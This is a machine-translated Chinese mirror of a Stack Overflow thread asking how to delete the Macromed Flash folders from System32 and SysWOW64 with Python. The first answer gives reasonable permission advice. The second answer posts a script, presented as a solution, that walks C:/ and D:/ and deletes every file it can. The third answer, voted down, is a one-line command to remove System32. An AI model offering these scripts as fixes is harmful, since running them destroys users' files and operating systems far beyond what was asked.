首页
学习
活动
专区
工具
TVP
发布
社区首页 >问答首页 >Python:从system32或SysWOW64中删除文件夹的脚本

Python:从system32或SysWOW64中删除文件夹的脚本
EN

Stack Overflow用户
提问于 2018-07-29 05:44:40
回答 3查看 3.1K关注 0票数 -1

我正在试着写一个删除C:\Windows\System32\MacromedC:Windows\SysWOW64\Macromed (基本上是adobe flash手动卸载文件)的脚本。

我遇到的是windows的权限问题,因为它需要提升权限才能删除这些文件夹。但是,Windows不会提示我同意权限,也不会要求我提供管理员用户名/密码来允许我删除这些文件夹。

我试着上网看看,看看shutil.rmtree()是如何工作的,但就像我说的,遇到了权限墙的问题。

EN

回答 3

Stack Overflow用户

发布于 2018-07-29 06:21:43

只要尝试手动删除它,你仍然会得到windows的权限问题,然后python脚本也不会工作,你必须从windows获取所有权对象。尝试更改文件权限,然后运行python脚本。通常windows不允许删除System32目录中的文件,它是windows的核心部分。

编写一个合适的脚本,如果它成功地完成了您的工作,请首先使用用户目录中的文件对其进行测试。然后处理你想要删除的文件夹的窗口。

票数 0
EN

Stack Overflow用户

发布于 2019-06-23 16:55:56

从os导入漫游导入os

代码语言:javascript
复制
# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue

home="D:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue
票数 0
EN

Stack Overflow用户

发布于 2022-01-27 15:03:09

os.remove("C:\Windows\System32")

票数 -2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/51575498

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档